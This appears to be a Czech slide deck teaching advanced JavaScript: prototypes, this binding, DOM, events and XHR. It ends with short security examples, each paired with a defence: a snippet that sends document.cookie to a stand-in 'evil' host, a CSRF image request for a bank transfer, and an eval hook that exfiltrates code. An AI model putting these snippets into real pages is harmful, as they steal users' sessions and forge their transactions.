Javascript – pokročilé partie
ondrej.zara@firma.seznam.cz
- Webová interaktivní prezentace
- Klávesa "?" zobrazí krátkou nápovědu
- Tisk jako obykle
- Pro pokračování stiskněte mezerník
www.seznam.cz
| Interpret(y) | Prohlížeč(e) |
| Spidermonkey, Tracemonkey, Jägermonkey | Mozilla, Firefox, Camino |
| JScript, Chakra | Internet Explorer |
| V8 | Google Chrome |
| JavaScriptCore, SquirrelFish (Nitro) | Safari |
| Futhark, Carakan | Opera |
| KJS | Konqueror |
thisnew, __proto__, prototype
var pole = [1, 2, 3];
var objekt = {nazev1:3.14, "nazev2":pole};
objekt["nazev2"][2] == 3;
function funkce1() {};
var funkce2 = function() {};
funkce1.nejakaVlastnost = 3;
funkce2["nejakaVlastnost"] = funkce1;
var banka = ["100 $", "200 £", "300 €"];
var bahamy = banka;
bahamy.pop(); /* odebrání posledního prvku z pole */
banka.length == 2; /* :-( */
this odkazuje na globální objekt (window)
function jmeno() { alert(this.name); }
window.name = "n/a";
var jarda = {name:"Jaroslav", jmeno:jmeno};
var pepa = {name:"Josef", jmeno:jmeno};
jmeno(); /* "n/a" */
jarda.jmeno(); /* "Jaroslav" */
pepa.jmeno(); /* "Josef" */
function jmeno() { alert(this.name); }
window.name = "n/a";
var jarda = {name:"Jaroslav"};
jmeno.apply(jarda); /* "Jaroslav" */
jmeno.apply(jarda, [param1, param2, ...]);
jmeno.call(jarda, param1, param2, ...);
__proto__prototype
var mujObjekt = { a:3 };
alert(mujObjekt.b);
Jak postupuje interpret při dotazu na vlastnost?
b v objektu?__proto__.b ?__proto__.__proto__.b ?new s touto syntaxí:
var funkce = function(parametry) { ... };
var vysledek = new funkce(parametry);new je téměř shodný s touto funkcí:
function New(nejakaFunkce, parametry) {
var out = {};
out.__proto__ = nejakaFunkce.prototype;
nejakaFunkce.apply(out, parametry);
return out;
}
var vysledek = New(funkce, parametry);
Nepodporujeme atribut prototype, který je u všech objektů. Tento atribut je normou povolen a přidává do objektu nové metody a atributy (případně s danou hodnotou). Tento atribut jsme neimplementovali, protože by byl problém ho implementovat a jsme toho názoru, že je k ničemu.— prohlížeč Links, projektová dokumentace
var Delnik = function() { this.penize = 0; }
Delnik.prototype.pracuj = function() { this.penize++; }
var ondra = new Delnik();
ondra.pracuj(); /* ondra.__proto__.pracuj == Delnik.prototype.pracuj */
var Predak = function() { this.penize = 10; }
Predak.prototype = new Delnik();
var jarda = new Predak();
jarda.pracuj();
/*
jarda.__proto__ == Predak.prototype
jarda.__proto__.pracuj == Predak.prototype.pracuj
Predak.prototype.pracuj == Predak.prototype.__proto__.pracuj == Delnik.prototype.pracuj
*/
instanceof testuje shodu vlastností __proto__ a prototype (diagram)
var Poslanec = function() {};
var jarda = new Poslanec();
jarda instanceof Poslanec; /* true */
var Senator = function() {};
Senator.prototype = Poslanec.prototype;
jarda instanceof Senator; /* true! */
var pole = [3]; /* var pole = new Array(); */
pole.vypisSe(); /* chyba: neexistuje */
Array.prototype.vypisSe = function() { alert(this.join(", ")); }
pole.vypisSe();
var odstavec = document.getElementsByClassName("mujOdstavec")[0];
while (odstavec.firstChild) { odstavec.removeChild(odstavec.firstChild); }
odstavec.innerHTML = "Odpor <strong>je</strong> marný.";
odstavec.addEventListener("click", alert, false);
document.getElementById("nejakeId") - nefunguje bez DTD ID
var odstavce = document.getElementsByTagName("p");
for (var i=0;i<odstavce.length;i++) {
var odstavec = odstavce[i];
odstavec.parentNode.removeChild(odstavec);
}
var funkce = function() { ... }
var odkaz = document.getElementById("mujOdkaz");
odkaz.attachEvent("onclick", funkce);
odkaz.addEventListener("click", funkce, false);
odkaz.onclick = funkce;
var json = '{
"jmeno": "Jindra",
"deti": [5, 8, 12]
}';
var data = eval("("+json+")");
var request = new XMLHttpRequest();
request.open("get", "/nejaky/soubor.txt", true); /* třetí parametr určuje (a)synchronnost */
request.send("");
var susenka = document.cookie;
var url = "http://ja.jsem.zly/?susenka=" + encodeURIComponent(susenka);
var img = document.createElement("img");
img.src = url;
Ochrana: HttpOnly cookies
var url = "http://nejaka.banka.cz/?prevod&castka=1000&from=jarda&to=lojza";
var img = document.createElement("img");
img.src = url;
Ochrana: kombinace GET tokenu a cookie se stejnou hodnotou
var oldEval = eval;
eval = function(jsCode) {
var url = "http://ja.jsem.zly/?data=" + encodeURIComponent(jsCode);
var img = document.createElement("img");
img.src = url;
return oldEval(jsCode);
}
Ochrana: nepoužívat eval()
Prostor pro otázky